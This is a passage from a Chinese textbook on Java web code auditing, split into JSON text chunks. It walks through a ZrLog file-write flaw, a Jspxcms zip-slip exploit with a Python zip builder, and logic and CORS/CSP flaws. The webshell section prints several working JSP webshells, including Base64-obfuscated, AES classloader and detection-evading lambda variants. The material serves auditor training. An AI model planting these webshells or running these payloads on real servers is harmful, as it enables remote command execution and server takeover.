    {"text": "在 ZrLog 2.1.0 产品后台存在文件写入漏 洞，攻击者可以利用产品后台的“设置/错误页面编辑”功能进行文件写入。 通过利 用可进行存储型 XSS 漏洞攻击，或替换 ZrLog 网站的配置文件 web.xml，致使网站 崩溃； 该漏洞出现的文件路径为：\\zrlog\\web\\src\\main\\java\\com\\zrlog\\web\\controller\\ admin\\api\\TemplateController.java，具体位置如图 6-21 所示。 图 6-21 ZrLog 漏洞位置 这段代码是网站管理员在网站后台的“设置/错误页面编辑/提交”处进行错误页 面自定义的部分代码。"},
    {"text": "可以发现 file 字符串由 PathKit.getWebRootPath()和 getPara (name:\"file\")两个字符串拼接而成。 其中 PathKit.getWebRootPath() 的返回值是网站 根目录的路径。"},
    {"text": "图 6-22 getPara(\"file\") 方法 可以发现该方法的返回值是 this.request.getParameter(name)，而 this.request 是 javax.servlet.http.HttpServletRequest 对象，如图 6-23 所示。"},
    {"text": "276 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 图 6-23 javax.servlet.http.HttpServletRequest 对象 （3）攻击者使用 Burp Suite 修改“错误页面编辑”的数据包。"},
    {"text": "（2）攻击者使用 Burp Suite 抓取“错误页面编辑”的数据包，如图 6-24 所示。 图 6-24 抓取“错误页面编辑”的数据包 6.4 文件操作漏洞 277 由图 6-24 可以发现，攻击者可以在发送 payload 前更改文件名和文件内容。 （3）攻击者使用 Burp Suite 修改“错误页面编辑”的数据包，如进行包含恶意 JavaScript 脚本的 HTML 文件写入。"},
    {"text": "图 6-26 攻击效果 278 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 由图 6-26 可以发现，攻击者可以通过修改文件名和文件内容，进行存储型 XSS 攻击。"},
    {"text": "最后我们只需要修改 payload 的路径信息，就可以达到使网站崩溃的效果，如 以下 payload： file=/WEB-INF/web.xml&content= 查看 ZrLog 的 web.xml 内容，如图 6-27 所示。"},
    {"text": "其次，文件写入漏 洞一般利用的是源程序本身自带的功能，因此审计者对于此类型的漏洞进行审计时， 要格外关注源程序是否具有写入文件的站点功能。"},
    {"text": "此外 HTTP 请求中的 PUT 方法 6.4 文件操作漏洞 279 也 可 以 创 建 并 写 入 文 件 ， 例 如 比 较 经 典 的 ActiveMQ 任 意 文 件 写 入 漏 洞 （CVE-2016-3088）就是利用 PUT 方法写入文件； 又例如 Apache Tomcat 7.0.0 – 7.0.81 版本中，如果开启了 PUT 功能，会导致 Apache Tomcat 任意文件上传漏洞 （CVE-2017-12615），攻击者可以利用该漏洞创建并写入文件。"},
    {"text": "5．文件解压漏洞 文件解压是 Java 中一个比较常见的功能，但是该功能的安全问题往往也容易被 忽视。 由文件解压导致的漏洞五花八门，利用的效果也各有不同，如路径遍历、文 件覆盖、拒绝服务、文件写入等。 下面通过 Jspxcms-9.5.1 由 zip 解压功能导致的目录穿越漏洞实例来说明文件解压 漏洞。"},
    {"text": "Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞，攻击者 可以利用该漏洞，构造包含恶意 WAR 包的 ZIP 文件，达到 Getshell 的破坏效果。"},
    {"text": "图 6-29 解压文件接口调用 280 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 该 接 口 对 应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/ WebFileUploadsController.java 的 unzip 方法，如图 6-30 所示。 图 6-30 unzip 方法 对 unzip 方法进行跟进，发现它的具体实现在/jspxcms-9.5.1-release-src/src/ main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。"},
    {"text": "在对 ZIP 文 件进行解压时，程序调用了 AntZipUtil 类的 unzip 方法，如图 6-31 所示。 图 6-31 AntZipUtil 类的 unzip 方法 对 AntZipUtil 类的 unzip 方法进行跟进，可发现该方法未对 ZIP 压缩包中的文件 名进行参数校验就进行文件的写入。"},
    {"text": "import zipfile if __name__ == \"__main__\": try: #binary = b'ddddsss' binary = b'<script>alert(\"helloworld\")</script>' zipFile = zipfile.ZipFile(\"test5.zip\", \"a\", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo(\"test5.zip\") zipFile.writestr(\"../../../safedog.html\", binary) zipFile.close() except IOError as e: raise e 282 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 注 意 ， 使 用 好 压 打 开 test5.zip ， 可 以 发 现 safedog.html 所 处 的 路 径 是 “test5.zip\\..\\..\\..”，如图 6-33 所示。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %> <%@ page import=\"java.io.BufferedReader\" %> <%@ page import=\"java.io.InputStreamReader\" %> <%! public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try {Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader (pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+\"\\\\n\"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); 6.4 文件操作漏洞 283 } return line.toString(); } %> <% if(\"023\".equals(request.getParameter(\"pwd\"))&&!\"\".equals(request. getParameter(\"cmd\"))) { out.println(\"<pre>\"+excuteCmd(request.getParameter(\"cmd\"))+\"</pre>\"); } else { out.println(\":-)\"); } %> 然后通过 IDEA 生成 WAR 包，步骤如下。"},
    {"text": "图 6-34 “Build”下拉菜单中的“Build Artifacts...” 选择“:war”模式（直接生成 WAR 包）或“:war exploded”模式（未直接生成 WAR 包，但支持热部署）选项。"},
    {"text": "图 6-35 选择“:war exploded”模式 284 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 接 着 ， 我 们 可 以 在 IDEA 工 程 的 target 目 录 下 发 现 新 生 成 的 目 录 “FastjsonDeserializationVul”，进入该目录，全选该 Web 工程的所有文件并打包成 WAR 包，如图 6-36 所示。"},
    {"text": "图 6-36 打包 WAR 文件 将刚刚压缩成的 WAR 包拖曳到“test5.zip”，如图 6-37 所示。 图 6-37 将 WAR 包拖曳到“test5.zip” 至此，本次漏洞验证过程所需的 webshell 的恶意 ZIP 文件已被生成。"},
    {"text": "图 6-39 文件解压 此时，在服务器端查看 webapps 目录的变化，可以发现 safedog.html 和 vul.war 文件被解压到了网站根目录“webapps/ROOT”外，如图 6-40 所示。"},
    {"text": "图 6-41 文件压缩漏洞的攻击效果 值得一提的是，该源程序其实已经有一定的安全防御措施，例如在网站的目录 下访问上传的 JSP 文件会报 403 错误；"},
    {"text": "6.4.3 小结 文件操作中的漏洞挖掘是审计者的重点研究内容，从文件包含、文件上传、文 件下载、文件读取到文件写入、文件解压等，每一个环节都有可能出现漏洞，因此 要花费不少的精力去测试和研究，但这种研究往往是有巨大回报的，文件操作出现 的漏洞通常能够造成巨大的危害。 同时，对于文件操作漏洞的挖掘还可以结合黑盒 测试来寻找入口点去审计，有时直接从接口入手能更快速地发现文件操作中可能出 现的问题。"},
    {"text": "6.5 Web 后门漏洞 287 6.5 Web 后门漏洞 6.5.1 Web 后门漏洞简介 Web 后门指的是以网页形式存在的一种代码执行环境，通过这种代码执行环境， 攻击者可以利用浏览器来执行相关命令以达到控制网站服务器的目的。 这里的代码 执行环境其实是指编写后门所使用的语言，如 PHP、ASP、JSP 等，业内通常称这种 文件为 WebShell，其主要目的是用于后期维持权限。"},
    {"text": "6.5.2 Java Web 后门案例讲解 Java Web 是很多大型厂商的选择，也正是因为如此，Java Web 的安全问题日益 得到重视，JSP Webshell 就是其中之一。 最著名的莫过于 PHP 的各种奇思妙想的后 门，但与 PHP 不同的是，Java 是强类型语言，语言特性较为严格，不能够像 PHP 那 样利用字符串组合当作系统函数使用，但即便如此，随着安全人员的进一步研究， 依旧出现了很多奇思妙想的 JSP Webshell。 下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门。 1．函数调用 与 PHP 中的命令执行函数 system() 和 eval() 类似，Java 中也存在命令执行函 数，其中使用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start()， 通过调用这两个函数，可以编写简单的 Java Web 后门。 在 Java 中调用函数的方式 有很多种，本节主要讲解直接调用和反射调用这两种类型的 Web 后门。"},
    {"text": "<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%> 288 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 上述代码是一个简单的 JSP 一句话木马，但是这种类型的一句话后门是没有回 显的，即当攻击者执行命令后无法看到返回的信息。"},
    {"text": "<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); %> 这个一句话木马与前一个相比较，多了回显的功能，能够将攻击者执行命令后 的结果反馈给攻击者，如图 6-42 所示。 图 6-42 JSP 一句话木马回显结果 类 似 于 这 种 一 句 话 后 门 在 审 计 时 很 容 易 被 发 现 ， 只 需 要 搜 索 关 键 函 数 Runtime.getRuntime().exec 就能够发现其是否是 Java Web 后门。"},
    {"text": "通过上文我们了解到，当攻击者通过直接调用的方式在 Web 站点植入一句话后，对于审计者来说，很容易通过查找关键函数来发现后门，因此 有些攻击者选择更隐蔽的反射调用类 Web 后门，如以下示例代码。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %> <%@ page import=\"sun.misc.BASE64Decoder\" %> <% BASE64Decoder decoder = new BASE64Decoder(); 6.5 Web 后门漏洞 289 Class rt = Class.forName(new String(decoder.decodeBuffer (\"amF2YS5sYW5nLlJ1bnRpbWU=\"))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer(\"ZXhlYw==\")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer(\"Z2V0UnVudGltZQ==\"))). invoke(null, new Object[]{}), request.getParameter(\"cmd\") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); %> 在上述代码中，攻击者并没有采用直接使用类名调用方法的方式去构造后门， 而是采用动态加载的方式，把所要调用的类与函数放到一个字符串的位置，然后利 用各种变形（此处利用的是 Base64 编码）来达到对恶意类或函数隐藏的目的，即使 通过关键函数搜索也没法发现后门。 此外，由于反射可以直接调用各种私有类方法，导致了利用反射编写的后门层 出不穷，其中最有代表性的就是通过加载字节码编写的后门，这种后门使服务端动 态地将字节码解析成 Class，这样一来就可以达到“一句话木马”的效果。"},
    {"text": "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%> <%! class U extends ClassLoader{ U(ClassLoder c){ super(c); } } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } %> <% if (request.getMethod().equals(\"POST\")){ 290 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 String k=\"e45e329feb5d925b\"; session.putValue(\"u\",k); Cipher c=Cipher.getInstance(\"AES\"); c.init(2,new SecretKeySpec(k.getBytes(),\"AES\")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc. BASE64Decoder().decodeBuffer(request.getReader().readLine()))). newInstance().equals(pageContext); } %> 对于此类后门通常采用后门扫描工具进行检测，在人工审计时通常着重关注其 加密的函数，如 BASE64Decoder()以及 SecretKeySpec()等。"},
    {"text": "从 JDK 诞生至今，每个版本都有不同的特性， 利用这些特性可以编写出不同类型的 Java Web 后门。 以下示例就是利用了 Java 的 相关特性来编写的 Java Web 后门。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %> <%@ page import=\"java.util.function.Function\" %> <%@ page import=\"java.io.IOException\" %> <%@ page import=\"java.util.List\" %> <%@ page import=\"java.util.Arrays\" %> <%@ page import=\"java.util.stream.Collectors\" %> <%@ page import=\"java.io.InputStream\" %> <%@ page import=\"java.lang.reflect.Method\" %> <%@ page import=\"java.util.Collections\" %> <%@ page import=\"java.util.ArrayList\" %> <html> <head> <title>Title</title> </head> <body> <% String[] planets = new String[] { \"redliuBssecorP.gnal.avaj\"}; Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse(). toString()); String name = Arrays.toString(planets).replace(\"[\",\"\").replace(\"]\",\"\"); 6.5 Web 后门漏洞 291 String st = \"start\"; String pw = request.getParameter(\"pw\"); Class cls = Class.forName(name); Object obj = cls.getConstructor(List.class).newInstance(Arrays. asList(pw)); Method startCmd = cls.getMethod(st); Process p = (Process)startCmd.invoke(obj); InputStream in = p.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); %> Lambda 允许把函数作为一个方法的参数（函数作为参数传递进方法中）。"},
    {"text": "<%@ page import=\"java.util.function.Function\" %> <%@ page import=\"java.lang.reflect.Method\" %> <%@ page import=\"java.io.InputStream\" %> <%@ page import=\"java.util.Arrays\" %> <%@ page import=\"java.util.List\" %> <%@ page import=\"java.util.ArrayList\" %> <%@ page import=\"java.util.Optional\" %> <html> <head> <title>Title</title> </head> <body> <% List<String> stringCollection = new ArrayList<>(); stringCollection.add(\"ProcessBuilder\"); stringCollection.add(\"java.lang.\"); Optional<String> reduced = stringCollection .stream() 292 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 .sorted() .reduce((s1, s2) -> s2 + \"\" + s1); String name = String.valueOf(reduced).replace(\"Optional[\",\"\").replace( \"]\",\"\"); String st = \"start\"; String pw = request.getParameter(\"pw\"); Class cls = Class.forName(name); Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList (pw)); Method startCmd = cls.getMethod(st); Process p = (Process)startCmd.invoke(obj); InputStream in = p.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); %> </body> </html> Reduce 是一个最终操作，允许通过指定的函数将 stream 中的多个元素规约为 一个元素，规约后的结果通过 Optional 接口表示，然后利用 replace 替换执行函数 的字符串即可达到免杀的效果。"},
    {"text": "对于初级审计者 来说发现后门并不是重点任务，重点是发现源程序本身存在的漏洞，但学习 Java Web 后门的相关知识对我们的审计能力同样能够起到相辅相成的作用，毕竟每一个 Java 代码执行漏洞在某种意义上来说都是一个 Java Web 后门。"},
    {"text": "6.5.3 小结 除根据函数调用编写方式和利用 JDK 特性编写的 Java Web 后门外，还有很多 其他更有趣的编写方式，如 Java 中存在很多表达式，包括 OGNL、SpEL、MVEL、 EL、Fel、JST+EL 等，这些表达式都有自己的特性和写法。 因此根据这些表达式的 特性和写法也能够写出不同类型的 Java Web 后门，以及实现动态注册自定义 6.6 逻辑漏洞 293 Controller 实现的内存级 webshell、内部类编写的 webshell 等。"},
    {"text": "扫描二维码 学习更多关于内存马检测与利用研究 的拓展资料 6.6 逻辑漏洞 6.6.1 逻辑漏洞简介 目前的开发人员都具备一定的安全开发知识，不少公司还特地对开发人员进行 了安全开发培训。 对于安全人员来说，想要审计出代码执行、注入漏洞等高危漏洞 是非常困难的，一定要贴合业务去挖掘漏洞，因此逻辑漏洞的挖掘就变成了一项比 较重要的审计内容。 逻辑漏洞一般是由于源程序自身逻辑存在缺陷，导致攻击者可以对逻辑缺陷进 行深层次的利用。 逻辑漏洞出现较为频繁的地方一般是登录验证逻辑、验证码校验 逻辑、密码找回逻辑、权限校验逻辑以及支付逻辑等常见的业务逻辑。"},
    {"text": "6.6.2 漏洞发现与修复案例 与普通的 Web 漏洞相比，逻辑漏洞的不同点在于其源代码本身可能并不存在漏 洞，简单来说就是像一些零部件，这些零部件的做工都是没问题的，但是组装起来 时可能会因为忽略了某些临界条件或环境而出现问题。 逻辑漏洞也是如此，在一个 完整的逻辑控制链中，每一个链的逻辑可能都没有问题，但是当串到一起时可能导 致逻辑存在缺陷，进而出现逻辑漏洞。 下面我们结合与登录相关的逻辑漏洞来讲解 为什么逻辑漏洞其源代码本身可能并不存在漏洞。"},
    {"text": "294 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 @WebServlet(\"/login\") public class LoginServlet extends HttpServlet { private IEmployeeService service = new EmployeeServiceImpl(); protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String name = req.getParameter(\"username\"); String password = req.getParameter(\"password\"); User currentUsername = service.login(name); User currentPassword = service.login(name,password); if(!currentUser){ if(username == null){ req.setAttribute(\"errorMsg\",\" 用户名不可为空\"); }else{ req.setAttribute(\"errorMsg\",\" 用户名不存在\"); } req.getRequestDispatcher(\"/login.jsp\").forward(req,resp); return; }else if(!currentPassword){ req.setAttribute(\"errorMsg\",\" 密码错误\"); req.getRequestDispatcher(\"/login.jsp\").forward(req,resp); return; }else{ req.getSession().setAttribute(\"USER_IN_SESSION\", currentUsername); resp.sendRedirect(\"/userCenter\"); return; } 在上述代码逻辑中，首先对用户名进行非空判断，若非空则判断该用户名是否存在， 若存在则继续判断密码是否正确，若正确则设置 session，然后跳转到 userCenter 界面。"},
    {"text": "无独有偶，与这个漏洞相似的漏洞 还有很多，如很多站点都会在连续输错 5 次密码时启用验证码验证机制，以此来防 止攻击者进行爆破攻击。 但是有些站点的逻辑处理是，在其代码逻辑中，认为只有 6.6 逻辑漏洞 295 处于同一 IP 并且同一用户名连续输错，才会出现验证要求。 这里存在了一个逻辑问题，如果攻击者向用户名的变量中添加了多个用户名， 并且交叉爆破，就可能不会出现验证码，从而躲避了该站点的验证机制。 对于连续 输错 5 次密码的验证逻辑还有一个比较有趣的漏洞，其示例代码如下。"},
    {"text": "public void checkLogin() throws IOException { StatusPrinter.print(lc); HttpServletResponse response = ServletActionContext.getResponse(); response.setCharacterEncoding(DEFAULT_CHARACTER_UTF8); PrintWriter out = response.getWriter(); HttpSession session = ServletActionContext.getRequest(). getSession(); // 得到系统保存的验证码 String valiCode = (String) session.getAttribute(\"rand\"); if (valiCode == null) { out.print(\"{\\\"result\\\":\\\"验证码失效，请刷新页面后重试。"},
    {"text": "\\\"}\"); // 刷新登录 out.flush(); out.close(); return; // 返回结束; } // 如果验证码错误 if (!valiCode.equals(rand)) { out.print(ActionResult.ErrMsg(\"验证码错误。 \")); // 刷新登录 out.flush(); out.close(); return; // 返回结束; } UserInfo user = userService.getUserByUserName(username); Date thisErrorLoginTime = null; // 修改的本次登录错误时间 Integer islocked = 0; // 获取是否锁定状态 if (user == null) { // 账号有问题 out.print(ActionResult.ErrMsg(\"不存在此用户\")); } else if (user.getStatus()==1) { out.print(ActionResult.ErrMsg(\"此用户已被删除\")); } else if (!user.getPassword().equals(MD5.getMD5(password. getBytes()))) { if (user.getIsLocked() == null) { user.setIsLocked(0); } else { islocked = user.getIsLocked(); } if (user.getLoginErrorcount() == null) { user.setLoginErrorcount(0); 296 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 } Date date = new Date(); SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd HH: mm:ss\"); String datestr = format.format(date); try { thisErrorLoginTime = format.parse(datestr); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } if (islocked == 1) { // 账户被锁定 // 被锁定时登录错误次数一定是 5，所以只判断一次 Date lastLoginErrorTime = null; // 最后一次登录错误时间 Long timeSlot = 0L; if (user.getLastLoginErrorTime() == null) { lastLoginErrorTime = thisErrorLoginTime; } else { lastLoginErrorTime = user.getLastLoginErrorTime(); timeSlot = thisErrorLoginTime.getTime() - lastLoginErro rTime.getTime(); } if (timeSlot < 1800000) { // 判断最后锁定时间,30min 之内继续锁定 out.print(ActionResult.ErrMsg(\" 您 的 账 户 已 被 锁 定 ， 请 \" + (30-Math.ceil((double)timeSlot/60000)) + \"分钟之后再次尝试\")); } else { // 判断最后锁定时间,30min 之后仍是错误，继续锁定 30min user.setLastLoginErrorTime(thisErrorLoginTime); userService.addUser(user); out.print(ActionResult.ErrMsg(\"账户或密码错误,您的账户已被 锁定，请 30 分钟之后再次尝试登录\")); } } else if (user.getLoginErrorcount() == 4) { // 账户第五次登录 // 失败 ，此时登录错误次数增加至 5，以后错误仍是 5，不再递增 user.setLoginErrorcount(5); user.setIsLocked(1); user.setLastLoginErrorTime(thisErrorLoginTime); userService.addUser(user); //修改用户 out.print(ActionResult.ErrMsg(\"您的账户已被锁定，请 30 分钟之后再 次尝试登录\")); } else { // 账户前 4 次登录失败 user.setLoginErrorcount(user.getLoginErrorcount() + 1); user.setLastLoginErrorTime(thisErrorLoginTime); userService.addUser(user); //修改用户 out.print(ActionResult.ErrMsg(\" 账 户 或 密 码 错 误 , 您 还 有 \" + (5-user.getLoginErrorcount()) +\"次登录机会\")); 6.6 逻辑漏洞 297 } } else { islocked = user.getIsLocked(); if (islocked == 1) { Date lastLoginErrorTime = null; // 最后一次登录错误时间 Long timeSlot = 0L; if (user.getLastLoginErrorTime() == null) { lastLoginErrorTime = new Date(); } else { lastLoginErrorTime = user.getLastLoginErrorTime(); timeSlot = new Date().getTime() - lastLoginErrorTime. getTime(); } if (timeSlot < 1800000) { // 判断最后锁定时间,30min 之内继续锁定 out.print(ActionResult.ErrMsg(\" 您 的 账 户 已 被 锁 定 ， 请 \" + (30-Math.ceil((double)timeSlot/60000)) + \"分钟之后再次尝试\")); } else { // 判断最后锁定时间,30min 之后登录账户 RoleInfo r=roleService.getRoleById(user.getRoleId()); if(r.getStatus()==1){ out.print(\"{\\\"result\\\":\\\"该用户拥有的角色已被管理员删除， 请于管理员联系。 \\\"}\"); }else{ session.setAttribute(\"user\", user);// 保存当前用户 Date d=new Date(); session.setAttribute(\"dateStr\", d); // 保存当前用户登 录时间用于显示 user.setLoginErrorcount(0); user.setIsLocked(0); user.setLastLoginTime(user.getLoginTime()); user.setLastLoginIp(user.getLoginIp()); user.setLoginTime(d); user.setLoginIp(ServletActionContext.getRequest(). getRemoteAddr()); userService.addUser(user);//修改用户表登录时间 // logService.addOperationLog(\"登录系统\"); log.info(\"登录系统\"); out.print(ActionResult.SUCCESS); } } } else { RoleInfo r=roleService.getRoleById(user.getRoleId()); if(r.getStatus()==1){ out.print(\"{\\\"result\\\":\\\"该用户拥有的角色已被管理员删除，请与 管理员联系。"},
    {"text": "\\\"}\"); }else{ 298 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 session.setAttribute(\"user\", user);// 保存当前用户 Date d=new Date(); session.setAttribute(\"dateStr\", d); // 保存当前用户登录时 间用于显示 user.setLoginErrorcount(0); user.setIsLocked(0); user.setLastLoginTime(user.getLoginTime()); user.setLastLoginIp(user.getLoginIp()); user.setLoginTime(d); user.setLoginIp(ServletActionContext.getRequest(). getRemoteAddr()); userService.addUser(user);//修改用户表登录时间 // logService.addOperationLog(\"登录系统\"); log.info(\"登录系统\"); out.print(ActionResult.SUCCESS); } } } out.flush(); out.close(); } 以上逻辑是在验证完验证码后进行用户名和密码判断，如果输出的密码错误，那 么记录次数加 1，当次数累积到 5 次后，会在 30min 内禁止用户登录；"},
    {"text": "这个逻辑本质上也没有什么问题，但是用户登录“惩治”机制存在缺陷，若有 攻击者针对大量用户进行密码爆破，则可能导致大量用户在短时间内无法登录自己 的账号，从而影响业务。"},
    {"text": "旧版本的腾讯 QQ 曾采用该机制，密码输错多次后会在 24 h 内禁止登录，有不少恶意攻击者故意输错其他用户的密码，从而达到封禁他人 QQ 账号的目的。"},
    {"text": "再如一些使用短信验证码登 录的站点，当验证短信验证码时返回 state 的成功值是 success，失败值是 false，然后 客户端根据 state 的值来确定下一步的动作。"},
    {"text": "有的时候在短信验证码处随便输入验证数字会返回验证码错误，但是当 我们将验证码置空提交请求时，服务端却不校验，从而通过置空绕过登录验证。"},
    {"text": "● 验证码找回界面未作校验，导致可以跳步找回，即直接访问密码修改界面页面。 ● 未对找回密码的每一步做限制，如找回需要 3 个步骤，第一步确认要找回的 账号，第二步做验证，第三步修改密码。"},
    {"text": "● 存在两个订单，一个订单 1 元，另一个订单 1 000 元，对于 1 元订单进行 支付，支付后返回时存在 token，将这个 token 保存，然后再将订单号替换成 贵的订单，这样就可能完成两个订单的同时支付。"},
    {"text": "● 没有对购买数量进行负数限制，这样就会导致有一个负数的需支付金额，若 支付成功，则可能购买了一个负数数量的产品，也有可能返还相应的积分/金 币到用户的账户上。"},
    {"text": "● 请求重放，当支付成功时，重放其中请求，可能导致本来购买的一件商品数 量变成重放请求的次数，但价格只是支付一件商品的价格，更甚者多次下订 单，会出现 0 元订单情况。"},
    {"text": "同样，对于支付或者购买业务相关的 逻辑功能，要确保与银行交易时执行数据签名，不要将用户金额和订单签名、敏感 参数明文放在 URL 中，在服务端计算金额时进行正数判断、对充值接口返回的数据 进行校验等。"},
    {"text": "所有的逻辑漏洞都是基于具体业务基础进行修改，对于不同业务的相 同逻辑漏洞，其修改方式可能是不同的。 因此，对于审计者来说，在审计逻辑漏洞 时也要了解其具体业务，思考在这个业务流程中可能出现的逻辑漏洞，然后再根据 源代码判断逻辑漏洞是否存在。"},
    {"text": "300 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 6.7 前端配置不当漏洞 6.7.1 前端配置不当漏洞简介 随着前端技术的快速发展，各种前端框架、前端配置不断更新，前端的安全问 题也逐渐显现出来。"},
    {"text": "6.7.2 漏洞发现与修复案例 1．CORS 策略 CORS（Cross-Origin Resource Sharing，跨域资源共享）是一种放宽浏览器的同 源策略，利用这种策略可以通过浏览器使不同的网站和不同的服务器之间实现通信。"},
    {"text": "具体来说，这种策略通过设置 HTTP 头部字段，使客户端有资格跨域访问资源。 通 过服务器的验证和授权后，浏览器有责任支持这些 HTTP 头部字段并且确保能够正 确地施加限制。"},
    {"text": "表 6-5 相关的 HTTP 头部字段所代表的含义和介绍 请求类型 请求字段 描述 用来说明请求从哪里发起，包括且仅仅包括协议和域名 请求头 Origin 该参数一般只存在于 CORS 跨域请求中，可以看到 response 有对应的 header：Access-Control-Allow-Origin 发出请求时报头用于预检请求，让服务器知道哪些 HTTP 方 请求头 Access-Control-Request-Method 法的实际请求时将被使用 请求头 Access-Control-Request-Headers 用于通知服务器在真正的请求中会采用哪些请求头 指定允许访问资源的外域 URI，对于携带身份凭证的请求不 响应头 Access-Control-Allow-Origin 可使用通配符（*） 响应头 Access-Control-Allow-Credentials 用于通知浏览器是否允许读取 response 的内容 6.7 前端配置不当漏洞 301 可以通过一个简单的请求流程说明这些配置的一些作用，如以下 HTTP 请求。 GET /api HTTP/1.1 Origin: http://api.example.com Host: api.example.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0 以上头信息中，Origin 字段用来说明本次请求来自哪个源（协议 + 域名 + 端 口），然后服务器根据这个值，决定是否同意该请求。"},
    {"text": "Access-Control-Allow-Origin: http://api.example.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html; charset=utf-8 从上述代码可以发现，其实对于不同的 HTTP 头部字段，浏览器反馈的信息也 有所不同，因此当 CORS 配置错误时，可能导致一些预想不到的漏洞。"},
    {"text": "response.setHeader(\"Access-Control-Allow-Origin\", \" null\"); 这是常见的一种 CORS 错误配置场景，在该配置中，开发者将可访问资源的域 错误地设置为通配符。 通配符是 CORS 默认设置的值，这意味着任何域都能访问该 站点上的资源。"},
    {"text": "GET /api HTTP/1.1 Host: www.example.com Origin: www.example.com Accept-Language: en-US Connection: keep-alive 当发送上述请求时，浏览器会收到一个包含 Access-Control-Allow-Origin 头部的 响应，具体如下。"},
    {"text": "HTTP/1.1 200 OK Access-Control-Allow-Origin* 302 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 Content-Type: text/html; charset=utf-8 在这个相应请求中，头部 Access-Control-Allow-Origin 的字段值为通配符（*）， 这就意味着任何域都可以访问目标资源。"},
    {"text": "GET /api HTTP/1.1 Host: www.example.com Origin: www.attack.com Accept-Language: en-US Connection: keep-alive 收到的相应内容如下。 HTTP/1.1 200 OK Access-Control-Allow-Origin* Content-Type: text/html; charset=utf-8 由于目标站点可以与任何站点共享信息，并且在我们请求字段中设置了 Origin 字段信息为攻击域，所以当受害者在浏览器中打开 www.attack.com 时，我们就可以 在这个域中编写相应的利用代码来获取相关敏感信息。"},
    {"text": "总的来说，除上文中提到的配置错误，CORS 配置错误还有很多种，如子域名 通配符（Subdomain Wildcard）、域名前通配符（Pre Domain Wildcard）、域名后通配 符（Post Domain Wildcard）等都有可能存在漏洞并被攻击者利用。"},
    {"text": "2．CSP 策略 CSP（Content-Security-Policy，内容安全策略）是一个附加的安全层，有助于检 测并缓解某些类型的攻击，包括跨站脚本（XSS）和数据注入攻击。 简单来说，CSP 的目的是减少 XSS、CSRF 等攻击，它以白名单机制对网站加载或执行的资源进行限 6.7 前端配置不当漏洞 303 制，通过控制可信来源的方式去保护站点安全。 在网页中，CSP 策略一般通过 HTTP 头信息或者 meta 元素进行定义。"},
    {"text": "protected void configure(HttpSecurity http) throws Exception { http // ... .headers() .contentSecurityPolicy(\"script-src 'self' https://www.example.com; object-src https://www.example.com; report-uri /csp-report-endpoint/\"); } 可以看到 CSP 有一些简单的设置项，部分设置如下所示。"},
    {"text": "CSP 配置项有很多，一般常用的配置项有：script-src（js 策略）、object-src（object 策略）、style-src（css 策略）、child-src（iframe 策略）、img-src（img 引用策略）等。"},
    {"text": "default-src 'none’; connect-src 'self’; 304 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 frame-src *; script-src http://xxx/js/ 'unsafe-inline’; font-src http://xxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline’; img-src 'self'; 当我们引用其他域名下的 JS 文件时，如图 6-43 所示。 图 6-43 引用其他域名下的 JS 文件 浏览器会拒绝加载该资源，但也正是这样的设置导致无法抵御 XSS 漏洞，如图 6-44 所示。 图 6-44 无法抵御 XSS 漏洞 6.8 拒绝服务攻击漏洞 305 实际上，在真实的网站中，开发人员众多，在调试各个 JS 文件时，往往会出现 各种问题。"},
